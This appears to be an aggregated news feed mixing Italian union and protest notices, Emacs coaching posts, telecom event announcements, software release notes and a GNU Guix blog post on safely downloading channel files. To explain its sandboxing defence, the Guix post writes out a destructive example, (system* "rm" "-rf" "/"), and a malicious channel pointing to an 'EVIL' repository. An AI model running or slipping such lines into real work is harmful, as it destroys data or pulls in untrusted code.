Nel corso dell’ultimo dei tre incontri svolti presso l’ITL, la cooperativa ha presentato nuove proposte di variazione oraria che le lavoratrici, con il supporto delle OO.SS., hanno valutato come difficilmente accettabili, poiché relative a turni residuali rispetto a fasce orarie già assegnate ad altre lavoratrici che, a seguito del cambio di committenza, avevano prontamente sottoscritto le variazioni proposte dall’azienda. Tali modifiche, di fatto, formalizzavano orari già praticati senza alcuna regolarità rispetto ai contratti in essere, che peraltro non prevedono clausole elastiche o flessibili.
Durante l’ultimo incontro, a fronte della decisione di una lavoratrice di non sottoscrivere una proposta ritenuta peggiorativa rispetto alle condizioni del contratto vigente, la rappresentante legale della cooperativa si è espressa in modo non esplicito ma chiaramente udibile, chiedendo al responsabile delle risorse umane di attivare il licenziamento. Un’ipotesi già ventilata nei precedenti incontri e ormai diffusamente percepita nel cantiere tra le lavoratrici.
Riteniamo l&#039;accaduto di una gravità inaudita e inaccettabile, resa ancor più intollerabile dal fatto di essersi verificato, sfacciatamente, all&#039;interno di una sede istituzionale, in violazione di ogni principio di lealtà e correttezza.
Le rappresentanti sindacali presenti e la legale di riferimento non hanno ritenuto possibile far sottoscrivere alla lavoratrice alcun accordo né proseguire la discussione sulle ulteriori proposte, poiché la procedura non appariva genuina né realmente tutelante. La mancata accettazione della variazione oraria esponeva concretamente le lavoratrici al rischio di licenziamento, in un contesto caratterizzato da un’elevata discrezionalità aziendale, con possibili profili discriminatori legati all’essere o meno socia della cooperativa e a valutazioni puramente soggettive sul comportamento delle lavoratrici, considerate più o meno “compiacenti” nei confronti di responsabili e dirigenti.
Il tentativo di conciliazione si è ovviamente concluso con esito negativo. Le Organizzazioni Sindacali si riservano pertanto di attivare tutti gli strumenti sindacali a propria disposizione per rivendicare la tutela dei diritti delle lavoratrici e chiedono alla committenza di vigilare sull’appalto, assumendo una posizione chiara rispetto a comportamenti che ledono la qualità del lavoro e la dignità delle lavoratrici, molte delle quali operano da anni alle dipendenze della cooperativa anche in qualità di socie lavoratrici.


Unicoop Firenze, peraltro, è già stata più volte chiamata in causa e sollecitata a intervenire e a esprimersi nell’ambito di questo conflitto, sia indirettamente da COOPLAT,  che ha ripetutamente dichiarato la necessità di modificare i turni per richieste ed esigenze della committenza stessa, sia direttamente dai sindacati, che hanno provveduto a informarla delle criticità emerse e delle conseguenze che tali scelte stanno producendo sulle condizioni di lavoro delle lavoratrici coinvolte, richiedendo inoltre un incontro finalizzato ad aprire un confronto congiunto sulla gestione dell’appalto e delle condizioni di lavoro nel cantiere di Porta a Terra.


Riteniamo inaccettabile quanto accaduto e lesivo del ruolo e della funzione di una sede istituzionale nella quale la mediazione è finalizzata a garantire tutela ed equilibrio tra tutte le parti coinvolte. Chiediamo il rispetto delle sedi, dei ruoli e di relazioni sindacali improntate alla correttezza, nelle quali non può trovare spazio alcuna forma, esplicita o velata, di minaccia di licenziamento nei confronti di chi non intenda sottoscrivere u

na proposta aziendale ritenuta peggiorativa rispetto alle condizioni precedenti, soprattutto nel momento in cui viene richiesto il rispetto del contratto.
Nessuna lavoratrice può essere lasciata indietro!

Amin Bandali: FFS code review and Emacs extensibility with Protesilaos

15 Maggio 2026 ore 14:50

In the recent weeks I've been engaging Prot as an Emacs coach to help with doing review passes over my upcoming ffs package as I work on polishing and documenting it in preparation for offering it for inclusion in GNU ELPA.

UPDATE 2026-05-15 08:50:10 -0400: Prot also published an article about our session on his website: https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/

Today we had our third session where we started by reviewing and talking about my recent changes to ffs, then ventured to other Emacs-related topics with the overarching theme of the flexibility and extensibility of GNU Emacs, including display-buffer-alist, keyboard macros, defining a custom ox-bhtml Org export backend derived from Org's ox-html for ultimate flexibility when exporting my site's pages from Org to HTML, Org capture, plain text files and Emacs's diary and how it compares to org-agenda, and keeping a journal with the help of Emacs.

Here is the video recording of our session, which I share with Prot's permission:

You can view or download the full-resolution video from the Internet Archive.

Lastly, here is the snippet Prot shared for having Isearch treat space as a wildcard, helpful for more easily matching multiple parts of a line:

(setq search-whitespace-regexp ".*?")
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)

Take care, and so long for now.

Vincenzo Gallotto ad APMAT2026: NIS2, opportunità e percorso di adeguamento per gli operatori

14 Maggio 2026 ore 14:01

Vincenzo Gallotto sarà tra i relatori di APMAT2026, l’evento nazionale di Assoprovider in programma il 5 giugno 2026 a Matera, presso Casa Cava. Avvocato, Data Protection Officer, consulente legale di Assoprovider e Responsabile delle liste AP-LEGAL e AP-CHATLEGAL, Gallotto interverrà sul tema “NIS2 – opportunità e percorso di adeguamento per gli operatori”. La Direttiva NIS2, […]

L'articolo Vincenzo Gallotto ad APMAT2026: NIS2, opportunità e percorso di adeguamento per gli operatori proviene da Assoprovider.

gnutrition @ Savannah: GNUtrition 0.33.0rc2 Now Available

13 Maggio 2026 ore 23:40

A test release of GNUtrition, 0.33.0rc2, is now available.

GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release makes some fixes to the gender option.  It also applies a fix to ./version.sh that affected builds from CVS checkouts, which was not an issue with the tarball, due to the tarballs including the version in a .ver file.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/.  This test release can be obtained from the alpha.gnu.org server at one of the following:


Please report any problems you experience to the GNUtrition bug reports mailing list: <bug-gnutrition@gnu.org> (https://lists.gnu ... fo/bug-gnutrition).

Tolkien: necessità e critica della guerra. Una conferenza di Wu Ming 4

13 Maggio 2026 ore 23:35
Domenica 15 marzo 2026 Wu Ming 4 ha tenuto una conferenza nella Celletta Zampeschi di Santarcangelo di Romagna, già sede della società di mutuo soccorso operaio, su invito della neonata associazione tolkieniana Valmar. Il tema, di cui WM4 si è occupato a lungo, era "Tolkien: necessità e critica della guerra". L'intervento è stato accompagnato dalle musiche eseguite al pianoforte dal maestro Mattia Guerra e ha avuto, come si dice, una coda lunga di domande e risposte.

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Presentazione del libro di Andrea Bagnato «Terra infecta: Disease and the Italian Landscape»

Terra Infecta di Andrea Bagnato (Mack, 2026) è una controstoria dei paesaggi urbani e rurali italiani. Ricostruisce la distruzione delle zone umide venete, le politiche di «risanamento» urbano e spostamenti di popolazione a Napoli e Materia, e il periodo del confinamento in Lombardia durante la pandemia di Covid. Il libro è al tempo stesso una critica dell'igiene come dispositivo di controllo e una raccolta di momenti rivelatori di comunità, guarigione e resistenza.

Il 27 aprile 2026 Bagnato ha presentato Terra Infecta alla libreria Modo Infoshop di Bologna, affiancato da Chiara Davino, architetta e ricercatrice all'Università di Bologna, e Wu Ming 1. Buon ascolto.

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AOTEC è partner internazionale di APMAT2026

13 Maggio 2026 ore 14:45

APMAT26 rafforza il dialogo tra operatori indipendenti a livello europeo. Tra i protagonisti dell’evento nazionale di Assoprovider ci sarà anche AOTEC, l’associazione spagnola degli operatori locali TLC, punto di riferimento nel panorama europeo delle reti indipendenti. AOTEC riunisce imprese che, come molti associati Assoprovider, portano connettività, fibra, servizi digitali e innovazione nei territori, spesso dove […]

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Tenda è sponsor di APMAT2026

13 Maggio 2026 ore 14:42

APMAT26 amplia il confronto tra operatori e produttori di tecnologia. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche Tenda, realtà internazionale specializzata nello sviluppo e nella distribuzione di soluzioni per il networking. L’azienda propone un’offerta completa che include router Wi-Fi, sistemi mesh, switch, gateway, soluzioni per reti business ed enterprise wireless, CPE, base […]

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ALEA Soluciones è sponsor di APMAT2026

13 Maggio 2026 ore 14:38

APMAT26 rafforza il suo respiro internazionale. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche ALEA Soluciones, realtà spagnola specializzata nello sviluppo di soluzioni tecnologiche per operatori TLC, con una lunga esperienza a supporto di ISP, WISP e operatori locali. La presenza di ALEA contribuirà ad arricchire il confronto tra operatori indipendenti italiani ed […]

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SICE Telecom è sponsor di APMAT2026

13 Maggio 2026 ore 14:36

APMAT26 continua il suo percorso insieme alle realtà che negli anni hanno accompagnato la crescita della community degli operatori di prossimità. Tra gli sponsor dell’edizione 2026 ci sarà anche SICE Telecom, azienda storica del settore TLC specializzata in soluzioni wireless, ponti radio, infrastrutture per WISP e ISP e distribuzione di tecnologie per reti professionali. Da […]

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Vayu: sponsor APMAT 2026

13 Maggio 2026 ore 14:33

APMAT26 continua a costruire connessioni tra operatori, tecnologie e visioni europee. Tra gli sponsor dell’edizione 2026 ci sarà anche Vayu, realtà italiana specializzata nello sviluppo di software e servizi di consulenza per ISP e WISP, con soluzioni dedicate agli operatori wired e wireless. Un’azienda che negli anni ha sviluppato un approccio fortemente orientato alle esigenze […]

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On. Enzo Amich ad APMAT26: infrastrutture digitali, territori e sovranità tecnologica

13 Maggio 2026 ore 14:28

APMAT26 ospiterà l’intervento dell’On. Enzo Amich, Deputato della Repubblica, membro della IX Commissione Trasporti, Poste e Telecomunicazioni della Camera dei Deputati e Presidente dell’Intergruppo parlamentare “Sostenibilità Digitale e Sovranità Tecnologica”. La sua partecipazione assume per Assoprovider un valore particolarmente significativo, perché rafforza un dialogo istituzionale aperto da tempo sui temi delle telecomunicazioni, delle infrastrutture digitali […]

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Gonzalo Elguezabal Ayala ad APMAT26: il confronto europeo con AOTEC

13 Maggio 2026 ore 14:21

APMAT26 ospiterà l’intervento di Gonzalo Elguezabal Ayala, rappresentante di AOTEC, l’associazione spagnola degli operatori locali di telecomunicazioni. La presenza di AOTEC rappresenta uno dei passaggi più significativi dell’edizione 2026: per la prima volta, il confronto promosso da Assoprovider si apre in modo strutturato al dialogo con una realtà associativa europea molto vicina all’esperienza degli Operatori […]

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José Carlos Oya Ortega ad APMAT26: l’esperienza di 7Play nel mercato telco spagnolo

13 Maggio 2026 ore 13:35

APMAT26 ospiterà l’intervento di José Carlos Oya Ortega, CEO di 7Play, che porterà all’evento la propria esperienza diretta come Operatore di Prossimità nel mercato spagnolo delle telecomunicazioni. La sua presenza rappresenta un’occasione importante per rafforzare il confronto tra operatori italiani e spagnoli, mettendo al centro esperienze concrete, modelli di crescita, strategie commerciali e sfide operative […]

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Pere Antentas Costa ad APMAT26: l’esperienza di Rede Aberta per le reti territoriali europee

13 Maggio 2026 ore 13:32

APMAT26 ospiterà l’intervento di Pere Antentas Costa, CEO di Rede Aberta, una delle realtà più interessanti del panorama spagnolo delle telecomunicazioni territoriali. La sua presenza arricchirà il confronto internazionale dell’evento, offrendo agli Operatori di Prossimità italiani l’opportunità di conoscere da vicino un modello di sviluppo fondato su fibra ottica, accesso aperto, copertura delle aree rurali […]

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Antonio Prado ad APMAT26: competenze tecniche al servizio degli Operatori di Prossimità

13 Maggio 2026 ore 13:30

APMAT26 vedrà la partecipazione di Antonio Prado, Consulente Tecnico di Assoprovider e figura di riferimento nel panorama italiano delle reti e delle infrastrutture Internet. Dottore di ricerca in Computer Science, con un Master universitario di II livello in Innovazione nella Pubblica Amministrazione, Antonio Prado è ricercatore esterno presso il Dipartimento di Ingegneria dell’Informazione dell’Università di […]

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Livio Morina, Presidente PeeringDB, ad APMAT26

13 Maggio 2026 ore 13:07

APMAT26 ospiterà l’intervento di Livio Morina, Presidente di PeeringDB e professionista con una lunga esperienza nel mondo delle reti, dell’interconnessione e delle infrastrutture Internet. La sua presenza porterà all’evento un contributo tecnico di grande valore su temi molto concreti per gli Operatori di Prossimità: AS Number, peering, interconnessione, aggiornamento dei dati di rete, visibilità internazionale […]

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GNU Guix: Time travel without borders

12 Maggio 2026 ore 14:48

When offered the option to run other people’s code, a prime consideration is often ease of deployment. While much progress has been made in support of rapid deployment, the security implications of those quick deployments is often overlooked. In this post, we look at a new feature of guix time-machine and guix pull in support of one-line deployment commands: the ability to download channel files, but without compromising on security.

Sharing code

The normal workflow to share software and make it easily deployable with Guix goes like this: someone puts their packager hat on and writes a package definition, adds it to Guix proper or to a separate channel, at which point anyone can fetch the relevant channel(s) and deploy the software.

As an example, let’s assume you want to run yt-dlp as packaged in the latest Guix revision without upgrading your system or going through an explicit installation step. The simplest way to do that is with this command:

guix time-machine -q -- shell yt-dlp -- yt-dlp …

If you’re familiar with Nix, this is equivalent—with some important differences we’ll discuss below—to this command:

nix shell nixpkgs#yt-dlp --command yt-dlp …

In both cases, we’re fetching the latest revision of the package collection (the master branch for Guix, the nixpkgs-unstable branch of Nixpkgs for Nix) and running yt-dlp from there. (nix run goes one step further by removing the need to specify the command name.)

Now, that was an easy example because yt-dlp comes from Guix itself. What if you’d like to deploy an application that’s in another channel such as Guix-Science? Well, you would first need to come up with a channels.scm file for Guix-Science and then you can pass it to guix pull or guix time-machine:

$EDITOR channels.scm
# Make sure that includes Guix-Science.
guix time-machine -C channels.scm -- shell …

If you’re lucky, perhaps you can download a channel file. For example, Cuirass produces them for all successfully-evaluated commits, so you can fetch one for Guix-Science and go from there:

wget -O channels.scm \
  https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
guix time-machine -C channels.scm -- shell …

You can even do it in a single command using Bash process substitution!

guix time-machine \
  -C <(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \
  -- shell …

Is it a good idea though?

The threat

If you look more closely, the nix shell command and the last two guix time-machine commands have a bit of a curl | sh flavor to it: downloading arbitrary code and running it without further ado. All nix shell does is authenticate github.com, through HTTPS, and likewise for wget—that you’re downloading from the genuine github.com doesn’t tell you anything about the trustworthiness of the code you’re running.

In the case of Guix, the channels.scm you’re downloading could very well read this:

(system* "rm" "-rf" "/")  ;uh-oh!

Here system*, as you might have guessed, invokes a command. Because yes, channel files can contain arbitrary Scheme code! (It’s worth noting that this particular problem is one Nix doesn’t have: Nix being a domain-specific language (DSL) already limits what Nix code can do, especially with so-called “pure� evaluation.)

Or it could read something like this:

(list (channel
        (name 'guix)
        ;; This is Mallory’s malicious Guix, now you’re PWND!
        (url "https://example.org/EVIL/guix.git")
        (branch "master")
        (introduction
         (make-channel-introduction
          "badc0ffeed807b096b48283debdcddccfea34bad"
          (openpgp-fingerprint
           "DEAD CABB A99E F6A8 0D1D  E643 A2A0 6DF2 A33A BADD")))))

In this case, the channel file looks good, but the channel you’ll fetch—probably not so much.

So no: downloading a channel file and using it without checking it is not reasonable.

The cake

Can we have our cake and eat it too? Can we casually download someone else’s channel file without putting our system at risk?

Changes that have just landed in guix pull and guix time-machine aim to address these seemingly contradictory needs. The two commands are now equipped to download by themselves: just pass them a URL with the -C (or --channels) option.

guix time-machine \
  -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \
  -- …

Crucially, this command is not equivalent to the naïve -C <(wget -O …) trick we saw above.

First, channel code is now evaluated in a “sandbox�: it can only access a predefined set of bindings, cannot import additional modules, and it must run in a limited amount of time and with a limited amount of memory allocated. This still provides access to many general-purpose facilities but blocks anything that could be used to alter the system state, exfiltrate data, or cause a denial of service.

With this in place, evaluating a channel file can be considered safe. Now, one problem remains: the file might list channels that I as a user do not trust. And here we see a tension between fetching channel files from out there and keeping one’s system safe. To address that, we define a new rule: only trusted channels may be deployed; if a channel file lists untrusted channels, guix pull and guix time-machine error out. Trusted channels are defined as follows:

  • they are those listed in ~/.config/guix/trusted-channels.scm, if it exists—this file lists channels just like a regular channel file;
  • or, they are the channels currently in use, as returned by guix describe.

This brings us to the interesting question of channel identity. This channel I call guix-science in my trusted-channels.scm, someone else might as well call it Guix-Science or science; how can I tell if we’re dealing with the channel that I call guix-science and that I trust?

The key insight is that the name itself doesn’t matter; the element that does matter is the “introduction� of the channel—the piece of information that tells how to authenticate updates of that channel. If you forgot that episode, the introduction the thing with hexadecimal strings that appears in a channel specification:

(channel
  (name 'guix-past)
  (url "https://codeberg.org/guix-science/guix-past")
  (introduction   ;this hex soup 👇 is the channel’s identity
   (make-channel-introduction
    "0c119db2ea86a389769f4d2b9c6f5c41c027e336"
    (openpgp-fingerprint
     "3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5"))))

Two channels with the same introduction are one and the same. Thus, if my trusted-channels.scm contains a channel with the above introduction, pull and time-machine will happily pull from it.

The corollary is that a channel that cannot be authenticated—i.e., that lacks the introduction field—cannot be considered a trusted channel.

Overall, this “trusted channel� rule trades flexibility for safety. It’s a tradeoff but one that looks like a better default than anything that effectively amounts to arbitrary code execution à la curl | sh.

The party

“Why would I want to download channel files?�, you may ask? Here’s a list of typical use cases we have in mind.

The first one is downloading a channel file from a continuous integration system—to deploy from a known-good state, to test a new package version or a new feature, to reproduce a bug, etc. Cuirass serves channel files for every channel set it evaluates. So for example, you can pull the latest Guix channel that was successfully evaluated like this:

guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master

Likewise, this is how you’d travel to the latest Guix-Science channel and dependent channels to execute RStudio:

guix time-machine \
  -C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
  -- shell rstudio -- rstudio

A second, similar use case is one-line commands for demos: if you’re developing an application, you can package it, publish a channel file, and share a time-machine command to spawn it. With pinned channels, you can ensure users run it from a known-good state.

A third use case that is emerging is channel releases. Teams maintaining third-party channels might want to tag releases of their channel as a channel files where each channel is pinned. This is what the Guix-Science project recently decided to do.

In the same vein, a fourth use case is the publication of a tested channel file that a whole team, or a whole fleet of computers, would upgrade from. Imagine a group of people responsible for testing who would periodically publish a new channel file pinned to known-good commits that all the team members or an entire fleet could safely pull from—it could even be used for unattended upgrades!

The fifth use case is reproducible research. A computational workflow can be captured by two files: channels.scm and manifest.scm. In some cases, we might as well download the channel file.

Dissonance?

But wait… the astute reader might have felt some dissonance: downloading a channel file to set up a supposedly reproducible workflow? That can’t be right: the channel file could change over time, or it could vanish from its original URL. That’s not reproducibility, is it?

As Simon Tournier was prompt to suggest, the solution is to support SWHIDs (Software Hash Identifiers) in addition to URLs. A SWHID is essentially a standardized content hash that uniquely identifies “content�—raw data or structured data such as directories and version-control revisions. If you followed along, you might remember that Guix is connected to the Software Heritage archive. Software packaged in Guix is in the archive and so all we had to do is connect the dots.

Consider this command:

guix time-machine \
  -C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002  \
  -- …

It downloads the channel file identified by the given SWHID and then proceeds.

The SWHID serves as an unambiguous and unique content address to refer to a specific channel set. It can be computed using guix hash, but of course, the channel file must first be present in the Software Heritage archive. Thus, if the file is part of a version-control repository, you can first request archiving of that repository. In a research paper, one may include a single command to re-run computations the paper builds upon.

Pleasurable

This new addition felt pleasurable for several reasons. First because it addresses use cases that people had been talking for a while, and it’s always nice to fill gaps. It also felt good because several design choices complement each other so that everything here falls into place: channel specifications, Guile’s “sandboxing�, channel authentication, and Software Heritage integration.

The whole endeavor—allowing for quick deployment without compromising on security—might sound quixotic or, some might say, anachronistic, at a time when the pips, the npms, the snaps and many more are all about deploying software of unknown origin like there’s no tomorrow. In Guix we do believe that transparency, provenance tracking, and verifiability matter for the software we run; efforts like this one are guided by these principles.

The feature landed just a few days ago. Give it a try and let’s hope you find it pleasant as well!

Acknowledgments

I am grateful to Caleb “Reepca� Ristvedt for their thorough code review and insightful suggestions, and to Simon Tournier for commenting on the general approach and suggesting improvements. Many thanks to Rutherther and to Cayetano Santos for reviewing an earlier draft of this post.

Mino Pecorelli: il Dossier Mifobiali e l'Omicidio del 1979 — Trame Nere

11 Maggio 2026 ore 20:55

💾

Chi ha ucciso Mino Pecorelli il 20 marzo 1979? Il direttore dell'Osservatorio Politico sapeva troppo — sul dossier Mifobiali, sul petrolio e sui nomi che non si potevano pronunciare. Un omicidio che nessuno volle davvero risolvere.

Pecorelli era una delle voci più scomode d'Italia: le sue inchieste toccavano la P2 di Licio Gelli, i servizi segreti deviati, il caso Moro e i vertici della politica nazionale. Il dossier Mifobiali conteneva rivelazioni sui poteri occulti degli anni '70 che legavano logge massoniche, traffici di petrolio e politici di primo piano. La sua morte fu l'ultimo silenziatore di una storia che non si è mai del tutto spenta.

Cosa trovi in questo video:
✔️ Chi era Mino Pecorelli e come nacque la rivista OP (Osservatorio Politico)
✔️ Il dossier Mifobiali: contenuto, origini e rivelazioni sui poteri occulti italiani
✔️ I legami tra Pecorelli, la P2, Licio Gelli e i servizi segreti deviati
✔️ Il ruolo di Andreotti e le connessioni con il caso Moro e il sequestro
✔️ L'omicidio del 20 marzo 1979: mandanti, moventi e verità mai dette
✔️ Perché il caso Mifobiali-Pecorelli suscita ancora interrogativi irrisolti

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AVVERTENZA
• Questo video è frutto di ricerca giornalistica e utilizza solo fonti pubbliche e accessibili.
• Alcune immagini o brevi spezzoni video sono riprodotti per finalità di cronaca, critica, commento o informazione ai sensi dell'art. 70 LDA.
• Le ricostruzioni hanno esclusivamente scopo divulgativo.
• Non vengono promossi comportamenti contrari alla legge.
• Questo contenuto NON costituisce pubblicità né contiene contenuti sponsorizzati.

FreshRSS 1.29.0

10 Maggio 2026 ore 16:43

This is a major release.

Feature highlights✨:

  • New sort order preferences at global, category, and feed levels
  • Use feed-provided icon
  • New option to hide sidebar by default
  • Show time since when a feed has problems
  • New functions to handle plural in internationalisation
  • New cli/purge.php to apply purge policy from command line

Bug fixes highlights 🐛:

  • Improve support of PHP 8.5+
  • Several fixes related to searches

Security highlights 🛡:

  • Limit cURL to protocols HTTP, HTTPS

UI highlights 🖼:

  • Improve mobile view with multiple lines when thumbnails and summaries are shown
  • Several themes improved

Extensions highlights 🧩:

  • New Webhook extension for automated RSS notifications
  • New LLM Classification extension to automatically tag incoming articles based on a prompt sent to an LLM

This release has been made by @Alkarex, @Inverle, @Kiblyn11, @math-GH, @rupakbajgain, @xtmd and newcomers @polybjorn, @olivluca, @tomasodehnal, @PeterVavercak, @mrtnrdl, @ale-rt, @cweiske, @rid3r45, @gabbihive, @drosell271, @Kachelkaiser, @zanivann, @nanos, @bowencool, @pe1uca, @matheusroberson, @DenuxPlays, @rlrs, @chanse-syres, @IEEE-754, @umaidshahid, @michi-onl

Full changelog:

  • Features
    • New sort order preferences at global, category, and feed levels #8234
    • New filtering by date of Server modification date #8131, #8576
      • Corresponding search operator, e.g. mdate:P1D for finding articles modified by the author / server during the past day.
      • Especially useful for optimising the API synchronisation.
    • Use feed-provided icon #8633
    • New option to automatically mark new articles as read if an identical GUID already exists in the same category #8673
    • Automatic feed visibility/priority during search #8609
    • Add feed visibility filter to statistics view unread dates #8489
    • Add option to enable/disable notifications, also for PWA #8458
    • Add a form to create new user queries on the User Queries page #8623
    • Allow WebSub hub push from same private network #8450
    • Support category field in JSON feed import #8786
  • Bug fixing
    • Fix wrong search toString in case of regex-looking string #8479
    • Fix article last seen date in case of feed errors #8646
    • Fix search expansion with backslash #8497
    • Fix user query parsing #8543
    • Fix search in shared user queries #8789
    • Fix redirect to wrong view after mark as read in reader and global views #8552
    • Fix SQLite paging when sorting by article length #8594
    • Fix change sorting during paging #8688
    • Fix SQL keyset pagination when sorting by category name #8597
    • Fix SQL duplicates in the user labels when sorting randomly #8626
    • Fix wrong error redirect in subscription management #8625
    • Fix do not include hidden feeds when counting total number of unread articles #8715
    • Update user modify date when changing extensions UserJS / UserCSS #8607
    • Non-strict OPML export #eedefb
  • Security
    • Limit cURL to protocols HTTP, HTTPS #8713
    • Better sanitise favicon URLs #8714
    • New setting for <iframe> referrer allow list #8672
    • Fix email validation and allow error page for unverified email users #8582
    • Add allowfullscreen to <iframe> #8467
    • Rewrite Set-Cookie using native PHP support of SameSite #8447, #8778
      • Sanitize lifetime of session cookies from session.cookie-lifetime in php.ini
    • Update to <meta name="referrer" content="no-referrer" /> from deprecated never #8725
    • Preventive measure against search ingestion #8777
  • UI
    • New option to hide sidebar by default #8528
    • Improve mobile view with multiple lines when thumbnails and summaries are shown #8631
    • New option to disable unread counter in tab title and favicon #8728
    • Show time since when a feed has problems #8670
    • Improve add feed UI #8683
    • Improve slider behaviour when using navigate back button #8496, #8524
    • Improve consistency of slider behaviour after submitting form #8612
    • Create dynamic favicons from SVG instead of PNG canvas #8577, #8588
    • Only display scrollbar everywhere if there's an overflow (especially for Chromium) #8542
    • Fix CSS padding of .content pre code #8620
    • Fix wrong navigation buttons layout on Chromium #8606
    • Fix don’t mark as read if middle click is outside of article link #8553
    • More robust JS #8595
    • Fix sidebar slide animation at narrow viewports #8747
    • Visually dim disabled users in user management table #8768
    • Improve multiple UI themes #8711, #8732,
      #8733, #8734, #8735,
      #8736, #8737, #8738,
      #8739, #8743, #8746,
      #8749, #8761, #8781,
      #8784, #8785
    • Various UI and style improvements: #8537, #8538,
      #8541, #8624, #8731,
      #8774
  • Deployment
    • Also push Docker images to GitHub registry #8669
    • Improve support of PHP 8.5+ using Pdo\Mysql #8526
    • Add support for Podman in Makefile #8456
    • Re-add database status in installation check #8510
    • Docker / CLI: Allow chown/chmod to fail with warning #8635
  • Extensions
    • New Webhook extension for automated RSS notifications Extensions#456
    • New LLM Classification extension to automatically tag incoming articles based on a prompt sent to an LLM Extensions#458
    • New extension methods to get typed configuration values #8696
    • New hook: Minz_HookType::ActionExecute #8599, #8603
    • New hook to modify the list of feeds to actualize #8655, #8675
    • Allow passing Minz_HookType as hook name in registerHook() #8600
    • Return more info and status from httpGet() #8700
    • Make httpGet() cache nullable #8705
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  • Misc.

Volontré – canzoni d’amore e libertà

10 Maggio 2026 ore 12:50
Sabato 16 Maggio VolontréCanzoni d’amore e libertà ore 21:30 concerto di presentazione del discodalle ore 20 aperitivo Nel giardino della Biblioteca del Circolo “E. Malatesta”presso la FAL, in via degli Asili 33 Siamo felici di ospitare la presentazione di Canzoni d’amore e libertà è il nuovo disco dei Volontré, in uscita a maggio 2026. Le […]

Banda Uno Bianca: Alberto Savi Parla — la Verità mai Detta sui Poliziotti Killer

8 Maggio 2026 ore 20:38

💾

Chi erano davvero i fratelli Savi? Cosa nascondeva quella Fiat bianca che per anni ha seminato terrore in Italia? E cosa rivela oggi Alberto Savi che non aveva mai detto prima?

Per oltre dieci anni, la banda della Uno Bianca ha compiuto rapine, stragi e omicidi in tutta Italia, lasciandosi dietro 24 vittime e decenni di misteri. Tre fratelli — Roberto, Fabio e Alberto Savi — erano agenti di polizia di giorno, killer di notte. Ma a distanza di decenni, Alberto Savi torna a parlare con nuove dichiarazioni: ci sono complici rimasti nell'ombra? Qualcuno ha coperto la banda?

Cosa trovi in questo video:
✔️ La storia completa della banda della Uno Bianca e dei fratelli Savi
✔️ Le stragi e gli omicidi più efferati: vittime, luoghi, dinamiche
✔️ Come tre poliziotti riuscirono a sfuggire per anni alle indagini
✔️ Le nuove dichiarazioni di Alberto Savi: verità o depistaggio?
✔️ I segreti mai emersi e le ombre che ancora avvolgono il caso
✔️ Perché alcune domande sul caso Uno Bianca restano senza risposta

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#ItaliaMistero #MisteriItaliani #DocumentariItaliani #UnoBianca #AlbertoSavi #FratelliSavi #BandaUnoBianca #PoliziottKiller #CasoUnoBianca #CronacanNera

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IN PIAZZA PER FRANCO SERANTINI

7 Maggio 2026 ore 11:09
7 MAGGIO 1972 – 7 MAGGIO 2026 A Cinquantaquattro anni dall’assassinio del compagno Franco Serantini “ANARCHICO VENTENNE COLPITO A MORTE DALLA POLIZIA MENTRE SI OPPONEVA AD UN COMIZIO FASCISTA” GIOVEDÌ 7 MAGGIO ORE 18 IN PIAZZA SERANTINI (S. Silvestro)

Amin Bandali: FFS code review with Protesilaos

8 Maggio 2026 ore 04:10

In the recent weeks I've been engaging Prot as an Emacs coach to help with doing review passes over my upcoming ffs package as I work on polishing and documenting it in preparation for offering it for inclusion in GNU ELPA.

Yesterday we had our second session focused on ffs, which I recorded and share publicly with everyone with Prot's permission, so that others can also benefit from Prot's insights and experience as we discuss various aspects of Emacs package development with the concrete example of ffs.

Here is the video recording of our session:

You can view or download the full-resolution video from the Internet Archive.

I addressed most of Prot's feedback about ffs from our first session, and I'll be working on the changes we discussed in this session in the next days.

In the last third of the video we switched topics to discuss a few Emacs-related tangents including adding a 'padding' effect for the mode line and its constructs, and distilling and separating the easily-reusable package-like parts of one's Emacs configuration from the actual configuration of those parts (e.g. the distinction of prot-lisp and prot-emacs-modules in Prot's Emacs configuration).

For mode line padding, here is the snippet I'm using with Prot's doric-themes:

(doric-themes-with-colors
  (custom-set-faces
   `(mode-line
     ((t :box (:line-width 6 :color ,bg-shadow-intense))))
   `(mode-line-inactive
     ((t :box (:line-width 6 :color ,bg-shadow-subtle))))
   `(mode-line-highlight
     ((t :box (:color ,bg-shadow-intense))))))

Take care, and so long for now.

7 maggio Sciopero della Scuola. Contro la leva, la guerra e la scuola di Valditara: una sola riforma classista, dai tecnici alle nuove linee guida dei licei

7 Maggio 2026 ore 09:19

MANIFESTAZIONE A LIVORNO ORE 9:30 PIAZZA CAVOUR

Il 7 maggio lavoratrici e lavoratori della scuola incroceranno le braccia insieme a studentesse e studenti, con manifestazioni territoriali in decine di città. L'appuntamento a Roma è alle ore 9:00 al MIM in viale Trastevere.

Lo sciopero, proclamato anche per il 6 maggio per garantire la massima copertura al personale, chiama al boicottaggio delle prove INVALSI e raccoglie l'invito alla mobilitazione dell'assemblea internazionale giovanile We do not enlist.
Scioperiamo contro la militarizzazione della scuola e della società, contro la leva obbligatoria, contro la riforma degli istituti tecnici e professionali che consegna la formazione delle classi popolari direttamente nelle mani delle imprese, contro le nuove linee guida dei licei e contro un rinnovo contrattuale che propone salari vergognosi mentre l'inflazione cresce, trascinata dai costi di guerre che non abbiamo voluto e non vogliamo.
La scuola di Valditara non è la nostra. Le sue politiche reazionarie, classiste, repressive e di militarizzazione sono nemiche di studenti e lavoratori. Riprendiamoci spazi di democrazia e di organizzazione politica e sociale a partire dalle scuole, lottiamo per una scuola statale al servizio di chi la fa e la vive. Cancelliamo quasi quarant'anni di controriforme.
Né "capitale umano" né manodopera ideologizzata!
